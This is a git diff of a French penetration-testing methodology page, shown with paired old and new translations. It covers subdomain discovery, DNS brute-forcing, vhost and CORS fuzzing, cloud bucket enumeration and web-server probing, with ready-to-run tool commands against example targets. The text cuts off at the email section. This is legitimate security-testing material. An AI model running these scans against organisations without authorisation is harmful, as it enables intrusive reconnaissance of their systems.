informez l'entreprise. +Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Enregistrez-le simplement (si c'est assez bon marché) et informez l'entreprise. -Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte des actifs, vous devriez effectuer un **scan de vulnérabilité basique** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre des astuces pour "attaquer" ces services**.\ -_Notez que parfois le domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._ +Si vous trouvez un **domaine avec une IP différente** de ceux que vous avez déjà trouvés dans la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\ +_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._ \ -**Conseil pour les chasses aux bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de chasse aux bugs premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! +**Astuce de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -209,13 +207,13 @@ Il est temps de trouver tous les sous-domaines possibles de chaque domaine trouv ### **DNS** -Essayons d'obtenir des **sous-domaines** à partir des enregistrements **DNS**. Nous devrions également essayer le **Transfert de Zone** (Si vulnérable, vous devriez le signaler). +Essayons d'obtenir les **sous-domaines** à partir des enregistrements **DNS**. Nous devrions également essayer la **transfert de zone** (Si vulnérable, vous devriez le signaler). ```bash dnsrecon -a -d tesla.com ``` ### **OSINT** -La méthode la plus rapide pour obtenir de nombreux sous-domaines consiste à chercher dans des sources externes. Les **outils** les plus utilisés sont les suivants (pour de meilleurs résultats, configurez les clés API) : +Le moyen le plus rapide d'obtenir de nombreux sous-domaines est de rechercher dans des sources externes. Les **outils** les plus utilisés sont les suivants (pour de meilleurs résultats, configurez les clés API) : * [**BBOT**](https://github.com/blacklanternsecurity/bbot) ```bash @@ -264,7 +262,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, peuvent être utiles pour trouver des sous-domaines, comme : +Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, tels que : * [**Crobat**](https://github.com/cgboal/sonarsearch)** :** Utilise l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) pour obtenir des sous-domaines ```bash @@ -272,11 +270,11 @@ Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas dir ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` -* [**API gratuite JLDC**](https://jldc.me/anubis/subdomains/google.com) +* [**API gratuit JLDC**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` -* [**RapidDNS**](https://rapiddns.io) API gratuite +* [**RapidDNS**](https://rapiddns.io) API gratuit ```bash # Get Domains from rapiddns free API rapiddns(){ @@ -296,12 +294,12 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues depuis l'Open Threat Exchange d'AlienVault, la Wayback Machine et Common Crawl pour tout domaine donné. +* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Machine à remonter le temps et de Common Crawl pour un domaine donné. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` -* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper) : Ils parcourent le web à la recherche de fichiers JS et extraient les sous-domaines de là. +* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Ils parcourent le web à la recherche de fichiers JS et extraient les sous-domaines à partir de là. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -326,18 +324,18 @@ python3 censys-subdomain-finder.py tesla.com ```bash python3 DomainTrail.py -d example.com ``` -* [**securitytrails.com**](https://securitytrails.com/) propose une API gratuite pour rechercher des sous-domaines et l'historique des IP +* [**securitytrails.com**](https://securitytrails.com/) propose une API gratuite pour rechercher des sous-domaines et l'historique des adresses IP * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -Ce projet offre **gratuitement tous les sous-domaines liés aux programmes de bug-bounty**. Vous pouvez également accéder à ces données en utilisant [chaospy](https://github.com/dr-0x0x/chaospy) ou même accéder au périmètre utilisé par ce projet [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +Ce projet offre gratuitement tous les sous-domaines liés aux programmes de bug bounty. Vous pouvez accéder à ces données également en utilisant [chaospy](https://github.com/dr-0x0x/chaospy) ou même accéder au périmètre utilisé par ce projet [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -Vous pouvez trouver une **comparaison** de nombreux outils ici : [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +Vous pouvez trouver une comparaison de nombreux de ces outils ici: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -### **DNS Brute force** +### **Brute force DNS** -Essayons de trouver de nouveaux **sous-domaines** en forçant brutalement les serveurs DNS à l'aide de noms de sous-domaines possibles. +Essayons de trouver de nouveaux sous-domaines en forçant les serveurs DNS en utilisant des noms de sous-domaine possibles. -Pour cette action, vous aurez besoin de certaines **listes de mots de sous-domaines communs comme** : +Pour cette action, vous aurez besoin de listes de mots de sous-domaines courants comme: * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -345,93 +343,93 @@ Pour cette action, vous aurez besoin de certaines **listes de mots de sous-domai * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -Et aussi des IP de bons résolveurs DNS. Pour générer une liste de résolveurs DNS de confiance, vous pouvez télécharger les résolveurs depuis [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) et utiliser [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) pour les filtrer. Ou vous pourriez utiliser : [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +Et aussi des adresses IP de bons résolveurs DNS. Pour générer une liste de résolveurs DNS de confiance, vous pouvez télécharger les résolveurs depuis [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) et utiliser [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) pour les filtrer. Ou vous pourriez utiliser: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -Les outils les plus recommandés pour le brute-force DNS sont : +Les outils les plus recommandés pour le brute force DNS sont: -* [**massdns**](https://github.com/blechschmidt/massdns) : C'était le premier outil qui a effectué un brute-force DNS efficace. Il est très rapide mais il est sujet aux faux positifs. +* [**massdns**](https://github.com/blechschmidt/massdns): C'était le premier outil qui a effectué un brute force DNS efficace. Il est très rapide mais il est sujet aux faux positifs. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` -* [**gobuster**](https://github.com/OJ/gobuster) : Celui-ci, je pense, utilise juste 1 résolveur +* [**gobuster**](https://github.com/OJ/gobuster): Celui-ci, je pense, utilise simplement 1 résolveur ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est un wrapper autour de `massdns`, écrit en go, qui vous permet d'énumérer les sous-domaines valides en utilisant le bruteforce actif, ainsi que de résoudre les sous-domaines avec la gestion des jokers et un support facile pour l'entrée-sortie. +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est un wrapper autour de `massdns`, écrit en go, qui vous permet d'énumérer les sous-domaines valides en utilisant la force brute active, ainsi que de résoudre les sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` -* [**puredns**](https://github.com/d3mondev/puredns) : Il utilise également `massdns`. +* [**puredns**](https://github.com/d3mondev/puredns): Il utilise également `massdns`. ``` puredns bruteforce all.txt domain.com ``` -* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilise asyncio pour forcer brutalement les noms de domaine de manière asynchrone. +* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilise asyncio pour forcer de manière asynchrone les noms de domaine. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` -### Deuxième tour de Brute-Force DNS +### Deuxième tour de force brute DNS -Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et en effectuant du brute-forcing, vous pourriez générer des variantes des sous-domaines trouvés pour essayer d'en trouver encore plus. Plusieurs outils sont utiles à cet effet : +Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et la force brute, vous pourriez générer des altérations des sous-domaines trouvés pour essayer d'en trouver encore plus. Plusieurs outils sont utiles à cette fin : -* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)** :** Étant donné les domaines et sous-domaines, génère des permutations. +* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)** : ** Étant donné les domaines et sous-domaines, générer des permutations. ```bash cat subdomains.txt | dnsgen - ``` -* [**goaltdns**](https://github.com/subfinder/goaltdns) : Étant donné les domaines et sous-domaines, génère des permutations. -* Vous pouvez obtenir la **liste de mots** de permutations de goaltdns [**ici**](https://github.com/subfinder/goaltdns/blob/master/words.txt). +* [**goaltdns**](https://github.com/subfinder/goaltdns): Étant donné les domaines et sous-domaines, générer des permutations. +* Vous pouvez obtenir la liste de permutations de **wordlist** de goaltdns [**ici**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -* [**gotator**](https://github.com/Josue87/gotator)** :** Étant donné les domaines et sous-domaines, génère des permutations. Si aucun fichier de permutations n'est indiqué, gotator utilisera le sien. +* [**gotator**](https://github.com/Josue87/gotator)**:** Étant donné les domaines et sous-domaines, générer des permutations. Si aucun fichier de permutations n'est indiqué, gotator utilisera le sien. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` -* [**altdns**](https://github.com/infosec-au/altdns) : En plus de générer des permutations de sous-domaines, il peut également essayer de les résoudre (mais il est préférable d'utiliser les outils précédemment commentés). +* [**altdns**](https://github.com/infosec-au/altdns): En plus de générer des permutations de sous-domaines, il peut également essayer de les résoudre (mais il est préférable d'utiliser les outils précédemment commentés). * Vous pouvez obtenir la **liste de mots** de permutations altdns [**ici**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` -* [**dmut**](https://github.com/bp0lr/dmut) : Un autre outil pour effectuer des permutations, mutations et modifications de sous-domaines. Cet outil va forcer brutalement le résultat (il ne prend pas en charge le joker dns). -* Vous pouvez obtenir la liste de mots de permutations dmut [**ici**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). +* [**dmut**](https://github.com/bp0lr/dmut): Un autre outil pour effectuer des permutations, des mutations et des altérations de sous-domaines. Cet outil effectuera une attaque en force sur le résultat (il ne prend pas en charge les wildcards DNS). +* Vous pouvez obtenir la liste de mots de permutations de dmut [**ici**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -* [**alterx**](https://github.com/projectdiscovery/alterx)** :** Basé sur un domaine, il **génère de nouveaux noms de sous-domaines potentiels** en fonction des modèles indiqués pour essayer de découvrir plus de sous-domaines. +* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basé sur un domaine, il **génère de nouveaux noms de sous-domaines potentiels** en fonction des modèles indiqués pour essayer de découvrir plus de sous-domaines. #### Génération intelligente de permutations -* [**regulator**](https://github.com/cramppet/regulator) : Pour plus d'informations, lisez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement prendre les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines. +* [**regulator**](https://github.com/cramppet/regulator): Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de force brute pour sous-domaines couplé à un algorithme guidé par les réponses DNS d'une simplicité mais d'une efficacité immense. Il utilise un ensemble de données d'entrée fournies, comme une liste de mots sur mesure ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision davantage de noms de domaine correspondants et les étendre encore plus en boucle en se basant sur les informations recueillies lors du scan DNS. +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de force brute de sous-domaine couplé à un algorithme immensément simple mais efficace guidé par les réponses DNS. Il utilise un ensemble de données d'entrée fourni, comme une liste de mots personnalisée ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision plus de noms de domaine correspondants et les étendre encore plus dans une boucle basée sur les informations recueillies lors du scan DNS. ``` echo www | subzuf facebook.com ``` ### **Flux de travail de découverte de sous-domaines** -Consultez cet article de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant **les workflows Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur : +Consultez ce billet de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant les **flux de travail Trickest** afin de ne pas avoir à lancer manuellement une multitude d'outils sur mon ordinateur : {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -### **VHosts / Hôtes Virtuels** +### **VHosts / Hôtes virtuels** -Si vous avez trouvé une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pourriez essayer de **trouver d'autres sous-domaines avec des sites web sur cette IP** en cherchant dans les sources **OSINT** pour des domaines dans une IP ou en **forçant brutalement les noms de domaine VHost dans cette IP**. +Si vous trouvez une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pouvez essayer de **trouver d'autres sous-domaines avec des sites web sur cette IP** en recherchant dans des **sources OSINT** des domaines dans une IP ou en **forcant les noms de domaine VHost sur cette IP**. #### OSINT -Vous pouvez trouver certains **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres API**. +Vous pouvez trouver certains **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**. -**Force Brute** +**Brute Force** -Si vous soupçonnez qu'un sous-domaine peut être caché dans un serveur web, vous pourriez essayer de le forcer brutalement : +Si vous soupçonnez qu'un sous-domaine peut être caché dans un serveur web, vous pouvez essayer de le forcer : ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -446,152 +444,152 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com VHostScan -t example.com ``` {% hint style="info" %} -Avec cette technique, vous pourriez même accéder à des points de terminaison internes/cachés. +Avec cette technique, vous pourriez même être en mesure d'accéder à des endpoints internes/cachés. {% endhint %} ### **CORS Brute Force** -Parfois, vous trouverez des pages qui ne renvoient l'en-tête _**Access-Control-Allow-Origin**_ que lorsqu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**. +Parfois, vous trouverez des pages qui ne renvoient que l'en-tête _**Access-Control-Allow-Origin**_ lorsque qu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` -### **Brute Force de Buckets** +### **Forçage de seaux** -Lors de la recherche de **sous-domaines**, surveillez pour voir s'il **pointe** vers un type de **bucket**, et dans ce cas, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**forcer brutalement les noms de buckets possibles et vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/). +En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un **seau**, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**forcer les noms de seau possibles et vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/). -### **Monitorisation** +### **Surveillance** -Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les journaux de **Transparence des Certificats** [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) le fait. +Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) le fait. ### **Recherche de vulnérabilités** -Vérifiez les possibles [**prises de contrôle de sous-domaines**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -Si le **sous-domaine** pointe vers un **bucket S3**, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/). +Vérifiez les possibles [**prises de contrôle de sous-domaine**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +Si le **sous-domaine** pointe vers un **seau S3**, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/). -Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte des actifs, vous devriez effectuer un **scan de vulnérabilité basique** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre des astuces pour les "attaquer"**.\ -_Notez que parfois le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc elle n'est pas dans le périmètre, soyez prudent._ +Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. En fonction des services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\ +_Notez que parfois le sous-domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._ ## IPs -Dans les étapes initiales, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\ +Dans les premières étapes, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\ Il est temps de **recueillir toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).** -En utilisant les services des **APIs gratuites** suivantes, vous pouvez également trouver **les IPs précédemment utilisées par les domaines et sous-domaines**. Ces IPs pourraient toujours appartenir au client (et pourraient vous permettre de trouver des [**contournements de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +En utilisant les services des **APIs gratuites** suivantes, vous pouvez également trouver les **IPs précédentes utilisées par les domaines et sous-domaines**. Ces IPs pourraient toujours être la propriété du client (et pourraient vous permettre de trouver des [**contournements de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) * [**https://securitytrails.com/**](https://securitytrails.com/) -Vous pouvez également vérifier les domaines pointant une adresse IP spécifique en utilisant l'outil [**hakip2host**](https://github.com/hakluke/hakip2host) +Vous pouvez également vérifier les domaines pointant vers une adresse IP spécifique en utilisant l'outil [**hakip2host**](https://github.com/hakluke/hakip2host) ### **Recherche de vulnérabilités** -**Scannez tous les ports des IPs qui n'appartiennent pas aux CDN** (car il est très probable que vous n'y trouviez rien d'intéressant). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**. +**Analysez tous les IPs qui n'appartiennent pas à des CDN** (car vous ne trouverez probablement rien d'intéressant là-dedans). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**. -**Trouvez un** [**guide**](../pentesting-network/) **sur comment scanner les hôtes.** +**Trouvez un** [**guide**](../pentesting-network/) **sur la façon de scanner les hôtes.** ## Chasse aux serveurs Web > Nous avons trouvé toutes les entreprises et leurs actifs et nous connaissons les plages d'IP, les domaines et les sous-domaines dans le périmètre. Il est temps de rechercher des serveurs Web. -Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et domaines découverts**, vous avez donc peut-être **déjà trouvé tous les serveurs Web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs Web** dans le périmètre. +Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs Web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs Web** dans le périmètre. -Veuillez noter que cela sera **orienté vers la découverte d'applications Web**, vous devriez donc également effectuer la **recherche de vulnérabilités** et le **scan de ports** (**si autorisé** par le périmètre). +Veuillez noter que cela sera **orienté vers la découverte d'applications Web**, donc vous devriez également **effectuer la recherche de vulnérabilités** et **le scan de ports** également (**si autorisé** par le périmètre). -Une **méthode rapide** pour découvrir les **ports ouverts** liés aux serveurs **Web** en utilisant [**masscan** peut être trouvée ici](../pentesting-network/#http-port-discovery).\ -Un autre outil convivial pour rechercher des serveurs Web est [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) et [**httpx**](https://github.com/projectdiscovery/httpx). Vous passez simplement une liste de domaines et il essaiera de se connecter au port 80 (http) et 443 (https). De plus, vous pouvez indiquer d'essayer d'autres ports : +Une **méthode rapide** pour découvrir les **ports ouverts** liés aux **serveurs web** en utilisant [**masscan** peut être trouvée ici](../pentesting-network/#http-port-discovery).\ +Un autre outil convivial pour rechercher des serveurs Web est [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) et [**httpx**](https://github.com/projectdiscovery/httpx). Vous passez simplement une liste de domaines et il essaiera de se connecter aux ports 80 (http) et 443 (https). De plus, vous pouvez indiquer d'essayer d'autres ports: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **Captures d'écran** -Maintenant que vous avez découvert **tous les serveurs web** présents dans le périmètre (parmi les **IP** de l'entreprise et tous les **domaines** et **sous-domaines**), vous ne savez probablement **pas par où commencer**. Alors, simplifions les choses et commençons par prendre des captures d'écran de tous. Rien qu'en **jetant un coup d'œil** à la **page principale**, vous pouvez trouver des points de terminaison **étranges** qui sont plus **susceptibles d'être vulnérables**. +Maintenant que vous avez découvert **tous les serveurs web** présents dans le périmètre (parmi les **IP** de l'entreprise et tous les **domaines** et **sous-domaines**), vous ne savez probablement **pas par où commencer**. Alors, simplifions les choses et commençons par prendre des captures d'écran de chacun d'eux. Juste en **jetant un coup d'œil** à la **page principale**, vous pouvez trouver des **points d'extrémité étranges** qui sont plus **susceptibles** d'être **vulnérables**. -Pour réaliser l'idée proposée, vous pouvez utiliser [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +Pour mettre en œuvre l'idée proposée, vous pouvez utiliser [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/BishopFox/eyeballer) pour passer en revue toutes les **captures d'écran** pour vous dire **ce qui est susceptible de contenir des vulnérabilités**, et ce qui ne l'est pas. +De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/BishopFox/eyeballer) pour parcourir toutes les **captures d'écran** et vous indiquer ce qui est susceptible de contenir des vulnérabilités, et ce qui ne l'est pas. ## Actifs Cloud Publics -Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés qui identifient cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "", <"noms_de_sous-domaine">`. +Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "", <"noms_de_sous-domaines">`. -Vous aurez également besoin de listes de mots de **mots communs utilisés dans les buckets** : +Vous aurez également besoin de listes de mots **couramment utilisés dans les buckets** : * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Ensuite, avec ces mots, vous devriez générer des **permutations** (consultez le [**Deuxième tour de force brute DNS**](./#second-dns-bruteforce-round) pour plus d'informations). +Ensuite, avec ces mots, vous devriez générer des **permutations** (consultez le [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) pour plus d'informations). Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -Rappelez-vous que lors de la recherche d'actifs Cloud, vous devriez **chercher plus que de simples buckets dans AWS**. +N'oubliez pas que lors de la recherche d'actifs Cloud, vous devriez **chercher plus que des buckets dans AWS**. ### **Recherche de vulnérabilités** -Si vous trouvez des choses telles que des **buckets ouverts ou des fonctions cloud exposées**, vous devriez **y accéder** et essayer de voir ce qu'ils vous offrent et si vous pouvez en abuser. +Si vous trouvez des choses telles que des **buckets ou des fonctions cloud ouverts exposés**, vous devriez **y accéder** et essayer de voir ce qu'ils vous offrent et si vous pouvez les exploiter. -## Emails +## E-mails -Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous avez **besoin pour commencer à rechercher des emails**. Voici les **APIs** et **outils** qui ont le mieux fonctionné pour moi pour trouver des emails d'une 